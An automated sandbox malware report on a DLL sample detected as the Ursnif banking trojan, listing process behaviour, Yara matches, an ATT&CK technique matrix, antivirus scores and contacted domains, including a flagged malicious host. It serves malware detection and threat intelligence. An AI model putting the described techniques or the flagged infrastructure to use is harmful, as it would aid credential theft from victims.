Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe 'C:\Users\user\Desktop\racial.dll',#1

Jump to behavior

Source: loaddll32.exe, 00000000.00000002.496554749.0000000001A20000.00000002.00000001.sdmp, regsvr32.exe, 00000002.00000002.497519119.0000000003660000.00000002.00000001.sdmp, rundll32.exe, 00000003.00000002.497242824.0000000002CB0000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.497039690.0000000003590000.00000002.00000001.sdmp	Binary or memory string: uProgram Manager
Source: loaddll32.exe, 00000000.00000002.496554749.0000000001A20000.00000002.00000001.sdmp, regsvr32.exe, 00000002.00000002.497519119.0000000003660000.00000002.00000001.sdmp, rundll32.exe, 00000003.00000002.497242824.0000000002CB0000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.497039690.0000000003590000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd
Source: loaddll32.exe, 00000000.00000002.496554749.0000000001A20000.00000002.00000001.sdmp, regsvr32.exe, 00000002.00000002.497519119.0000000003660000.00000002.00000001.sdmp, rundll32.exe, 00000003.00000002.497242824.0000000002CB0000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.497039690.0000000003590000.00000002.00000001.sdmp	Binary or memory string: Progman
Source: loaddll32.exe, 00000000.00000002.496554749.0000000001A20000.00000002.00000001.sdmp, regsvr32.exe, 00000002.00000002.497519119.0000000003660000.00000002.00000001.sdmp, rundll32.exe, 00000003.00000002.497242824.0000000002CB0000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.497039690.0000000003590000.00000002.00000001.sdmp	Binary or memory string: Progmanlock

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_6D6F7689 cpuid

0_2_6D6F7689

Source: C:\Windows\System32\loaddll32.exe	Code function: GetLocaleInfoA,GetSystemDefaultUILanguage,VerLanguageNameA,		0_2_6D6B1566
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetLocaleInfoA,GetSystemDefaultUILanguage,VerLanguageNameA,		3_2_6D6B1566

Source: C:\Windows\SysWOW64\regsvr32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion InstallDate

Jump to behavior

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_6D6B17A7 SetThreadPriority,GetSystemTime,SwitchToThread,Sleep,GetLongPathNameW,GetLongPathNameW,GetLongPathNameW,WaitForSingleObject,GetExitCodeThread,CloseHandle,GetLastError,GetLastError,

0_2_6D6B17A7

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_6D6B146C CreateEventA,GetVersion,GetCurrentProcessId,OpenProcess,GetLastError,

0_2_6D6B146C

Stealing of Sensitive Information:

Yara detected Ursnif

Show sources

Source: Yara match	File source: 00000002.00000003.461266850.0000000002CF0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.464658480.0000000001300000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.460926541.00000000023C0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.462329890.0000000002FD0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 2.3.regsvr32.exe.2cf8d03.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.3.rundll32.exe.23c8d03.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.regsvr32.exe.6d6b0000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.rundll32.exe.2fd8d03.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.loaddll32.exe.1308d03.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.6d6b0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.rundll32.exe.6d6b0000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.6d6b0000.0.unpack, type: UNPACKEDPE

Remote Access Functionality:

Yara detected Ursnif

Show sources

Source: Yara match	File source: 00000002.00000003.461266850.0000000002CF0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.464658480.0000000001300000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.460926541.00000000023C0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.462329890.0000000002FD0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 2.3.regsvr32.exe.2cf8d03.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.3.rundll32.exe.23c8d03.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.regsvr32.exe.6d6b0000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.rundll32.exe.2fd8d03.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.loaddll32.exe.1308d03.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.6d6b0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.rundll32.exe.6d6b0000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.6d6b0000.0.unpack, type: UNPACKEDPE

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Native API1	DLL Side-Loading1	Process Injection12	Masquerading1	Input Capture1	System Time Discovery1	Remote Services	Input Capture1	Exfiltration Over Other Network Medium	Encrypted Channel12	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	DLL Side-Loading1	Process Injection12	LSASS Memory	Security Software Discovery1	Remote Desktop Protocol	Archive Collected Data1	Exfiltration Over Bluetooth	Non-Application Layer Protocol1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Deobfuscate/Decode Files or Information1	Security Account Manager	Process Discovery1	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Application Layer Protocol2	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Obfuscated Files or Information2	NTDS	File and Directory Discovery2	Distributed Component Object Model	Input Capture	Scheduled Transfer	Protocol Impersonation	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Regsvr321	LSA Secrets	System Information Discovery33	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Rundll321	Cached Domain Credentials	System Owner/User Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Software Packing1	DCSync	Network Sniffing	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	DLL Side-Loading1	Proc Filesystem	Network Service Scanning	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
racial.dll	21%	Virustotal		Browse
racial.dll	34%	ReversingLabs	Win32.PUA.Wacapew

Dropped Files

No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Link	Download
2.2.regsvr32.exe.2cf0000.1.unpack	100%	Avira	HEUR/AGEN.1108168		Download File

Domains

Source	Detection	Scanner	Link
authd.feronok.com	10%	Virustotal	Browse
tls13.taboola.map.fastly.net	0%	Virustotal	Browse
img.img-taboola.com	1%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label
https://onedrive.live.com;Fotos	0%	Avira URL Cloud	safe
https://img.img-taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ce_sharpen%2Ch_311%2Cw_207%2Cc_fill%	0%	URL Reputation	safe
https://img.img-taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ce_sharpen%2Ch_311%2Cw_207%2Cc_fill%	0%	URL Reputation	safe
https://img.img-taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ce_sharpen%2Ch_311%2Cw_207%2Cc_fill%	0%	URL Reputation	safe
https://tools.applemediaservices.com/api/badges/download-on-the-app-store/black/de-de?"	0%	URL Reputation	safe
https://tools.applemediaservices.com/api/badges/download-on-the-app-store/black/de-de?"	0%	URL Reputation	safe
https://tools.applemediaservices.com/api/badges/download-on-the-app-store/black/de-de?"	0%	URL Reputation	safe
https://onedrive.live.com;OneDrive-App	0%	Avira URL Cloud	safe
https://www.stroeer.com/fileadmin/com/StroeerDSP_deviceStorage.json	0%	URL Reputation	safe
https://www.stroeer.com/fileadmin/com/StroeerDSP_deviceStorage.json	0%	URL Reputation	safe
https://www.stroeer.com/fileadmin/com/StroeerDSP_deviceStorage.json	0%	URL Reputation	safe
https://mem.gfx.ms/meversion/?partner=msn&market=de-ch"	0%	URL Reputation	safe
https://mem.gfx.ms/meversion/?partner=msn&market=de-ch"	0%	URL Reputation	safe
https://mem.gfx.ms/meversion/?partner=msn&market=de-ch"	0%	URL Reputation	safe
https://www.stroeer.de/konvergenz-konzepte/daten-technologien/stroeer-ssp/datenschutz-ssp.html	0%	URL Reputation	safe
https://www.stroeer.de/konvergenz-konzepte/daten-technologien/stroeer-ssp/datenschutz-ssp.html	0%	URL Reputation	safe
https://www.stroeer.de/konvergenz-konzepte/daten-technologien/stroeer-ssp/datenschutz-ssp.html	0%	URL Reputation	safe
https://www.bidstack.com/privacy-policy/	0%	URL Reputation	safe
https://www.bidstack.com/privacy-policy/	0%	URL Reputation	safe
https://www.bidstack.com/privacy-policy/	0%	URL Reputation	safe
https://img.img-taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ch_311%2Cw_207%2Cc_fill%2Cg_faces:au	0%	URL Reputation	safe
https://img.img-taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ch_311%2Cw_207%2Cc_fill%2Cg_faces:au	0%	URL Reputation	safe
https://img.img-taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ch_311%2Cw_207%2Cc_fill%2Cg_faces:au	0%	URL Reputation	safe
http://www.wikipedia.com/	0%	URL Reputation	safe
http://www.wikipedia.com/	0%	URL Reputation	safe
http://www.wikipedia.com/	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
contextual.media.net	23.57.80.37	true	false		high
authd.feronok.com	35.199.86.111	true	true	10%, Virustotal, Browse	unknown
tls13.taboola.map.fastly.net	151.101.1.44	true	false	0%, Virustotal, Browse	unknown
hblg.media.net	23.57.80.37	true	false		high
lg3.media.net	23.57.80.37	true	false		high
geolocation.onetrust.com	104.20.184.68	true	false		high
web.vortex.data.msn.com	unknown	unknown	false		high
www.msn.com	unknown	unknown	false		high
srtb.msn.com	unknown	unknown	false		high
img.img-taboola.com	unknown	unknown	false	1%, Virustotal, Browse	unknown
cvision.media.net	unknown	unknown	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://searchads.msn.net/.cfm?&&kp=1&	{945187ED-C4D0-11EB-90E6-ECF4BB82F7E0}.dat.4.dr	false		high
https://contextual.media.net/medianet.php?cid=8CU157172	de-ch[1].htm.6.dr	false		high
https://www.msn.com/de-ch/nachrichten/coronareisen	de-ch[1].htm.6.dr	false		high
https://click.linksynergy.com/deeplink?id=xoqYgl4JDe8&mid=46130&u1=dech_promotionalstripe_na	de-ch[1].htm.6.dr	false		high
https://onedrive.live.com;Fotos	52-478955-68ddb2ab[1].js.6.dr	false	Avira URL Cloud: safe	low
https://www.msn.com/de-ch/sport?ocid=StripeOCID	de-ch[1].htm.6.dr	false		high
https://www.msn.com/de-ch/nachrichten/z%c3%bcrich/26-j%c3%a4hriger-mann-stirbt-nach-sturz-auf-vorpla	de-ch[1].htm.6.dr	false		high
https://www.onenote.com/notebooks?WT.mc_id=MSN_OneNote_TopMenu&auth=1&wdorigin=msn	de-ch[1].htm.6.dr	false		high
https://office.live.com/start/Word.aspx?WT.mc_id=MSN_site;Excel	52-478955-68ddb2ab[1].js.6.dr	false		high
http://ogp.me/ns/fb#	de-ch[1].htm.6.dr	false		high
https://www.awin1.com/cread.php?awinmid=15168&awinaffid=696593&clickref=de-ch-ss&ued=htt	de-ch[1].htm.6.dr	false		high
https://outlook.live.com/mail/deeplink/compose;Kalender	52-478955-68ddb2ab[1].js.6.dr	false		high
https://res-a.akamaihd.net/__media__/pics/8000/72/941/fallback1.jpg	{945187ED-C4D0-11EB-90E6-ECF4BB82F7E0}.dat.4.dr	false		high
https://www.skyscanner.net/g/referrals/v1/cars/home?associateid=API_B2B_19305_00002	de-ch[1].htm.6.dr	false		high
https://www.onenote.com/notebooks?WT.mc_id=MSN_OneNote_Recent&auth=1&wdorigin=msn	52-478955-68ddb2ab[1].js.6.dr	false		high
https://www.msn.com/de-ch/sport/nachrichten/schweiz-unterliegt-deutschland-im-penaltyschiessen/ar-AA	de-ch[1].htm.6.dr	false		high
https://www.msn.com/de-ch/nachrichten/z%c3%bcrich/mehr-sicherheit-und-weniger-versp%c3%a4tungen-im-f	de-ch[1].htm.6.dr	false		high
http://www.reddit.com/	msapplication.xml4.4.dr	false		high
https://www.skype.com/	de-ch[1].htm.6.dr	false		high
https://img.img-taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ce_sharpen%2Ch_311%2Cw_207%2Cc_fill%	auction[1].htm.6.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://sp.booking.com/index.html?aid=1589774&label=travelnavlink	de-ch[1].htm.6.dr	false		high
https://www.msn.com/de-ch/nachrichten/regional	de-ch[1].htm.6.dr	false		high
https://onedrive.live.com/?qt=allmyphotos;Aktuelle	52-478955-68ddb2ab[1].js.6.dr	false		high
https://amzn.to/2TTxhNg	de-ch[1].htm.6.dr	false		high
https://www.skype.com/go/onedrivepromo.download?cm_mmc=MSFT_2390_MSN-com	52-478955-68ddb2ab[1].js.6.dr	false		high
https://client-s.gateway.messenger.live.com	52-478955-68ddb2ab[1].js.6.dr	false		high
https://www.msn.com/de-ch/	de-ch[1].htm.6.dr	false		high
https://www.msn.com/de-ch/news/other/gr%c3%bcne-fordern-regierung-soll-zeitungen-f%c3%b6rdern/ar-AAK	de-ch[1].htm.6.dr	false		high
https://office.live.com/start/PowerPoint.aspx?WT.mc_id=MSN_site	52-478955-68ddb2ab[1].js.6.dr	false		high
https://contextual.media.net/medianet.php?cid=8CU157172&crid=858412214&size=306x271&https=1	{945187ED-C4D0-11EB-90E6-ECF4BB82F7E0}.dat.4.dr	false		high
https://www.awin1.com/cread.php?awinmid=15168&awinaffid=696593&clickref=de-ch-edge-dhp-river	de-ch[1].htm.6.dr	false		high
https://www.msn.com/de-ch	de-ch[1].htm.6.dr	false		high
https://click.linksynergy.com/deeplink?id=xoqYgl4JDe8&mid=46130&u1=dech_mestripe_store&m	de-ch[1].htm.6.dr	false		high
https://twitter.com/i/notifications;Ich	52-478955-68ddb2ab[1].js.6.dr	false		high
https://www.awin1.com/cread.php?awinmid=11518&awinaffid=696593&clickref=dech-edge-dhp-infopa	de-ch[1].htm.6.dr	false		high
https://www.msn.com/de-ch/news/other/walt-disney-sprach-ihn-an-und-pl%c3%b6tzlich-stand-sein-leben-k	de-ch[1].htm.6.dr	false		high
https://contextual.media.net/medianet.php?cid=8CU157172&crid=722878611&size=306x271&http	de-ch[1].htm.6.dr	false		high
https://www.sway.com/?WT.mc_id=MSN_site&utm_source=MSN&utm_medium=Topnav&utm_campaign=link;PowerPoin	52-478955-68ddb2ab[1].js.6.dr	false		high
https://www.msn.com/de-ch/?ocid=iehp&item=deferred_page%3a1&ignorejs=webcore%2fmodules%2fjsb	de-ch[1].htm.6.dr	false		high
http://www.youtube.com/	msapplication.xml7.4.dr	false		high
http://ogp.me/ns#	de-ch[1].htm.6.dr	false		high
https://onedrive.live.com/?qt=mru;OneDrive-App	52-478955-68ddb2ab[1].js.6.dr	false		high
https://www.skype.com/de	52-478955-68ddb2ab[1].js.6.dr	false		high
https://www.msn.com/de-ch/nachrichten/z%c3%bcrich/k%c3%b6nnen-seil-oder-hochbahnen-z%c3%bcrichs-verk	de-ch[1].htm.6.dr	false		high
https://www.msn.com/de-ch/nachrichten/z%c3%bcrich/wer-bekommt-im-kanton-z%c3%bcrich-pr%c3%a4mienverb	de-ch[1].htm.6.dr	false		high
https://sp.booking.com/index.html?aid=1589774&label=dech-prime-hp-me	de-ch[1].htm.6.dr	false		high
https://tools.applemediaservices.com/api/badges/download-on-the-app-store/black/de-de?"	de-ch[1].htm.6.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://www.skype.com/de/download-skype	52-478955-68ddb2ab[1].js.6.dr	false		high
https://onedrive.live.com/?wt.mc_id=oo_msn_msnhomepage_header	de-ch[1].htm.6.dr	false		high
http://www.hotmail.msn.com/pii/ReadOutlookEmail/	52-478955-68ddb2ab[1].js.6.dr	false		high
https://onedrive.live.com;OneDrive-App	52-478955-68ddb2ab[1].js.6.dr	false	Avira URL Cloud: safe	low
https://click.linksynergy.com/deeplink?id=xoqYgl4JDe8&mid=46130&u1=dech_mestripe_office&	de-ch[1].htm.6.dr	false		high
https://clkde.tradedoubler.com/click?p=295926&a=3064090&g=24886692	de-ch[1].htm.6.dr	false		high
https://geolocation.onetrust.com/cookieconsentpub/v1/geo/location	55a804ab-e5c6-4b97-9319-86263d365d28[1].json.6.dr	false		high
http://www.amazon.com/	msapplication.xml.4.dr	false		high
https://www.msn.com/de-ch/nachrichten/z%c3%bcrich/eye-tracking-bei-online-pr%c3%bcfungen-keiner-%c3%	de-ch[1].htm.6.dr	false		high
https://www.onenote.com/notebooks?WT.mc_id=MSN_OneNote_QuickNote&auth=1	52-478955-68ddb2ab[1].js.6.dr	false		high
http://www.twitter.com/	msapplication.xml5.4.dr	false		high
https://office.live.com/start/Excel.aspx?WT.mc_id=MSN_site;Sway	52-478955-68ddb2ab[1].js.6.dr	false		high
https://cdn.cookielaw.org/vendorlist/googleData.json	55a804ab-e5c6-4b97-9319-86263d365d28[1].json.6.dr	false		high
https://outlook.com/	de-ch[1].htm.6.dr	false		high
https://contextual.media.net/checksync.php?&vsSync=1&cs=1&hb=1&cv=37&ndec=1&cid=8HBI57XIG&prvid=77%2	{945187ED-C4D0-11EB-90E6-ECF4BB82F7E0}.dat.4.dr	false		high
https://www.stroeer.com/fileadmin/com/StroeerDSP_deviceStorage.json	iab2Data[1].json.6.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://cdn.cookielaw.org/vendorlist/iabData.json	55a804ab-e5c6-4b97-9319-86263d365d28[1].json.6.dr	false		high
https://www.msn.com/de-ch/homepage/api/pdp/updatepdpdata"	de-ch[1].htm.6.dr	false		high
https://cdn.cookielaw.org/vendorlist/iab2Data.json	55a804ab-e5c6-4b97-9319-86263d365d28[1].json.6.dr	false		high
https://onedrive.live.com/?qt=mru;Aktuelle	52-478955-68ddb2ab[1].js.6.dr	false		high
https://www.msn.com/de-ch/?ocid=iehp	{945187ED-C4D0-11EB-90E6-ECF4BB82F7E0}.dat.4.dr	false		high
https://sp.booking.com/index.html?aid=1589774&label=dech-prime-hp-shoppingstripe-nav	de-ch[1].htm.6.dr	false		high
https://www.ebay.ch/?mkcid=1&mkrid=5222-53480-19255-0&siteid=193&campid=5338626668&t	de-ch[1].htm.6.dr	false		high
https://www.msn.com/de-ch/homepage/api/modules/fetch"	de-ch[1].htm.6.dr	false		high
https://mem.gfx.ms/meversion/?partner=msn&market=de-ch"	de-ch[1].htm.6.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.nytimes.com/	msapplication.xml3.4.dr	false		high
https://web.vortex.data.msn.com/collect/v1/t.gif?name=%27Ms.Webi.PageView%27&ver=%272.1%27&a	de-ch[1].htm.6.dr	false		high
https://www.stroeer.de/konvergenz-konzepte/daten-technologien/stroeer-ssp/datenschutz-ssp.html	iab2Data[1].json.6.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://www.bidstack.com/privacy-policy/	iab2Data[1].json.6.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://onedrive.live.com/about/en/download/	52-478955-68ddb2ab[1].js.6.dr	false		high
http://popup.taboola.com/german	auction[1].htm.6.dr	false		high
https://www.msn.com/de-ch/news/other/junger-mann-stirbt-nach-sturz-von-einer-mauer-bei-der-eth/ar-AA	de-ch[1].htm.6.dr	false		high
https://www.ricardo.ch/?utm_source=msn&utm_medium=affiliate&utm_campaign=msn_mestripe_logo_d	de-ch[1].htm.6.dr	false		high
https://twitter.com/	de-ch[1].htm.6.dr	false		high
https://clkde.tradedoubler.com/click?p=245744&a=3064090&g=24903118&epi=ch-de	de-ch[1].htm.6.dr	false		high
https://outlook.live.com/calendar	52-478955-68ddb2ab[1].js.6.dr	false		high
https://img.img-taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ch_311%2Cw_207%2Cc_fill%2Cg_faces:au	auction[1].htm.6.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://onedrive.live.com/#qt=mru	52-478955-68ddb2ab[1].js.6.dr	false		high
https://api.taboola.com/2.0/json/msn-ch-de-home/recommendations.notify-click?app.type=desktop&ap	auction[1].htm.6.dr	false		high
https://www.msn.com?form=MY01O4&OCID=MY01O4	de-ch[1].htm.6.dr	false		high
https://support.skype.com	52-478955-68ddb2ab[1].js.6.dr	false		high
https://www.skyscanner.net/flights?associateid=API_B2B_19305_00001&vertical=custom&pageType=	de-ch[1].htm.6.dr	false		high
https://contextual.media.net/medianet.php?cid=8CU157172&crid=722878611&size=306x271&https=1	{945187ED-C4D0-11EB-90E6-ECF4BB82F7E0}.dat.4.dr	false		high
https://clk.tradedoubler.com/click?p=245744&a=3064090&g=21863656	de-ch[1].htm.6.dr	false		high
http://www.wikipedia.com/	msapplication.xml6.4.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://contextual.media.net/medianet.php?cid=8CU157172&crid=858412214&size=306x271&http	de-ch[1].htm.6.dr	false		high
https://www.ricardo.ch/?utm_source=msn&utm_medium=affiliate&utm_campaign=msn_shop_de&utm	de-ch[1].htm.6.dr	false		high
http://www.live.com/	msapplication.xml2.4.dr	false		high
https://login.skype.com/login/oauth/microsoft?client_id=738133	52-478955-68ddb2ab[1].js.6.dr	false		high
https://onedrive.live.com?wt.mc_id=oo_msn_msnhomepage_header	52-478955-68ddb2ab[1].js.6.dr	false		high

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.20.184.68	geolocation.onetrust.com	United States		13335	CLOUDFLARENETUS	false
151.101.1.44	tls13.taboola.map.fastly.net	United States		54113	FASTLYUS	false

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	32.0.0 Black Diamond
Analysis ID:	429223
Start date:	03.06.2021
Start time:	18:01:59
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 8m 48s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	racial.drc (renamed file extension from drc to dll)
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal72.troj.winDLL@13/124@10/3
EGA Information:	Failed
HDC Information:	Successful, ratio: 6% (good quality ratio 5.7%) Quality average: 78.8% Quality standard deviation: 29.2%
HCA Information:	Successful, ratio: 64% Number of executed functions: 39 Number of non-executed functions: 111
Cookbook Comments:	Adjust boot time Enable AMSI
Warnings:	Show All Exclude process from analysis (whitelisted): taskhostw.exe, BackgroundTransferHost.exe, wermgr.exe, backgroundTaskHost.exe, SgrmBroker.exe, svchost.exe Excluded IPs from analysis (whitelisted): 13.88.21.125, 92.122.145.220, 40.88.32.150, 88.221.62.148, 204.79.197.203, 204.79.197.200, 13.107.21.200, 92.122.213.187, 92.122.213.231, 65.55.44.109, 23.57.80.37, 184.30.24.56, 152.199.19.161, 2.20.142.210, 2.20.142.209, 13.64.90.137, 104.42.151.234, 168.61.161.212, 20.82.210.154, 52.255.188.83 Excluded domains from analysis (whitelisted): au.download.windowsupdate.com.edgesuite.net, store-images.s-microsoft.com-c.edgekey.net, iris-de-prod-azsc-neu-b.northeurope.cloudapp.azure.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, arc.msn.com, e11290.dspg.akamaiedge.net, iecvlist.microsoft.com, e12564.dspb.akamaiedge.net, skypedataprdcoleus15.cloudapp.net, go.microsoft.com, www-bing-com.dual-a-0001.a-msedge.net, audownload.windowsupdate.nsatc.net, arc.trafficmanager.net, watson.telemetry.microsoft.com, prod.fs.microsoft.com.akadns.net, ieonline.microsoft.com, au-bg-shim.trafficmanager.net, www.bing.com, skypedataprdcolwus17.cloudapp.net, fs.microsoft.com, dual-a-0001.a-msedge.net, ie9comview.vo.msecnd.net, a-0003.a-msedge.net, cvision.media.net.edgekey.net, e1723.g.akamaiedge.net, ctldl.windowsupdate.com, skypedataprdcolcus17.cloudapp.net, www-msn-com.a-0003.a-msedge.net, a767.dscg3.akamai.net, a1999.dscg2.akamai.net, web.vortex.data.trafficmanager.net, e607.d.akamaiedge.net, web.vortex.data.microsoft.com, skypedataprdcoleus17.cloudapp.net, any.edge.bing.com, a-0001.a-afdentry.net.trafficmanager.net, store-images.s-microsoft.com, blobcollector.events.data.trafficmanager.net, go.microsoft.com.edgekey.net, static-global-s-msn-com.akamaized.net, skypedataprdcolwus15.cloudapp.net, skypedataprdcolwus16.cloudapp.net, cs9.wpc.v0cdn.net Not all processes where analyzed, report is missing behavior information Report size exceeded maximum capacity and may have missing behavior information. Report size getting too big, too many NtDeviceIoControlFile calls found.

Simulations

Behavior and APIs

No simulations

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
104.20.184.68	racial.dll	Get hash	malicious	Browse
	racial.dll	Get hash	malicious	Browse
	racial.dll	Get hash	malicious	Browse
	racial.dll	Get hash	malicious	Browse
	racial.dll	Get hash	malicious	Browse
	racial.dll	Get hash	malicious	Browse
	racial.dll	Get hash	malicious	Browse
	racial.dll	Get hash	malicious	Browse
	racial.dll	Get hash	malicious	Browse
	racial.dll	Get hash	malicious	Browse
	shook.dll	Get hash	malicious	Browse
	racial.dll	Get hash	malicious	Browse
	racial.dll	Get hash	malicious	Browse
	racial.dll	Get hash	malicious	Browse
	racial.dll	Get hash	malicious	Browse
	racial.dll	Get hash	malicious	Browse
	racial.dll	Get hash	malicious	Browse
	2wLzQHrIRu.dll	Get hash	malicious	Browse
	r.dll	Get hash	malicious	Browse
	iroto.dll	Get hash	malicious	Browse
151.101.1.44	http://s3-eu-west-1.amazonaws.com/hjdpjni/ogbim#qs=r-acacaeeikdgeadkieeefjaehbihabababaefahcaccajbiackdcagfkbkacb	Get hash	malicious	Browse	cdn.taboola.com/libtrc/w4llc-network/loader.js

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
contextual.media.net	racial.dll	Get hash	malicious	Browse	184.30.24.22
	racial.dll	Get hash	malicious	Browse	184.30.24.22
	racial.dll	Get hash	malicious	Browse	184.30.24.22
	racial.dll	Get hash	malicious	Browse	184.30.24.22
	racial.dll	Get hash	malicious	Browse	184.30.24.22
	racial.dll	Get hash	malicious	Browse	184.30.24.22
	racial.dll	Get hash	malicious	Browse	184.30.24.22
	racial.dll	Get hash	malicious	Browse	184.30.24.22
	racial.dll	Get hash	malicious	Browse	184.30.24.22
	racial.dll	Get hash	malicious	Browse	184.30.24.22
	racial.dll	Get hash	malicious	Browse	184.30.24.22
	racial.dll	Get hash	malicious	Browse	184.30.24.22
	racial.dll	Get hash	malicious	Browse	184.30.24.22
	racial.dll	Get hash	malicious	Browse	184.30.24.22
	shook.dll	Get hash	malicious	Browse	184.30.24.22
	7Ek6COhMtO.dll	Get hash	malicious	Browse	104.84.56.24
	wl7cvArgks.dll	Get hash	malicious	Browse	104.84.56.24
	SyoFYHpnWB.dll	Get hash	malicious	Browse	184.30.24.22
	racial.dll	Get hash	malicious	Browse	184.30.24.22
	shook.dll	Get hash	malicious	Browse	92.122.146.68
authd.feronok.com	racial.dll	Get hash	malicious	Browse	35.199.86.111
	racial.dll	Get hash	malicious	Browse	35.199.86.111
